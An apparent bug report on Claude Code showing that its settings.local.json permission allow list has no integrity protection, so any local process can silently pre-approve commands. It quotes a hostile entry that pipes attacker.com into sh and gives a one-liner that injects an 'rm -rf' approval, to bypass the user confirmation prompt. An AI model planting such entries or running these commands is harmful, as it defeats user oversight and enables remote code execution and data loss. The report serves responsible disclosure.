claude-code - 💡(How to fix) Fix Security: settings.local.json permissions file has no integrity protection — silent injection enables pre-approved execution

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The settings.local.json file that controls which tool calls execute without user confirmation has no integrity protection. Any process running as the current user can silently inject permission entries, pre-approving arbitrary command execution. Claude Code will then execute those commands without prompting.

Root Cause

The settings.local.json file that controls which tool calls execute without user confirmation has no integrity protection. Any process running as the current user can silently inject permission entries, pre-approving arbitrary command execution. Claude Code will then execute those commands without prompting.

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Summary

The settings.local.json file that controls which tool calls execute without user confirmation has no integrity protection. Any process running as the current user can silently inject permission entries, pre-approving arbitrary command execution. Claude Code will then execute those commands without prompting.

Attack Surface

The permissions file lives at predictable paths:

  • <project>/.claude/settings.local.json (project-level)
  • ~/.claude/settings.json (global)

Both are plain JSON, owned by the user, with no checksum, signature, or restricted permissions. A malicious actor can append entries like Bash(curl attacker.com | sh:*) and Claude Code will execute matching commands silently.

Attack vectors

VectorMechanism
Malicious npm/pip dependencyPost-install script appends to .claude/settings.local.json
Compromised MCP serverServer-side code writes to the file between tool calls
Malicious repo cloneShips a .claude/settings.local.json with pre-approved dangerous commands
Compromised pluginPlugin code modifies the file at install or runtime
Any local malwareAny process running as the user can modify the file

Compounding factors

  • #31421 showed that permission enforcement is partially LLM-judgment-based, not hard-enforced — so even the existing allow list isn't a reliable boundary
  • #41259 confirmed that mid-session edits to the file are picked up — meaning injection doesn't even require a session restart
  • The file grows unboundedly with one-off "Always allow" approvals (377 entries in my case), making injected entries hard to spot visually
  • Project-level .claude/settings.local.json means a git clone could deliver pre-approved permissions (if not gitignored, or if .gitignore is also attacker-controlled)

Expected Behaviour

At minimum:

  1. Integrity check — hash or signature on the permissions file, verified before reading
  2. Change notification — alert the user when entries are added outside of the normal approval flow
  3. File permissions — restrict write access (though this is limited on single-user systems)
  4. Audit log — record when and how each entry was added

Ideally: 5. Permissions stored in a tamper-resistant format — not a plain JSON file any process can edit 6. Confirmation on first use of new entries — if an entry appears that wasn't added via the approval prompt, require explicit confirmation before trusting it

Steps to Reproduce

  1. Start a Claude Code session with Bash(ls:*) in the allow list
  2. In another terminal: python3 -c "import json; f='.claude/settings.local.json'; d=json.load(open(f)); d['permissions']['allow'].append('Bash(rm -rf:*)'); json.dump(d,open(f,'w'),indent=2)"
  3. Ask Claude to delete a directory
  4. Observe: no permission prompt — the injected entry is trusted

Environment

  • Claude Code CLI
  • Linux (likely affects all platforms)

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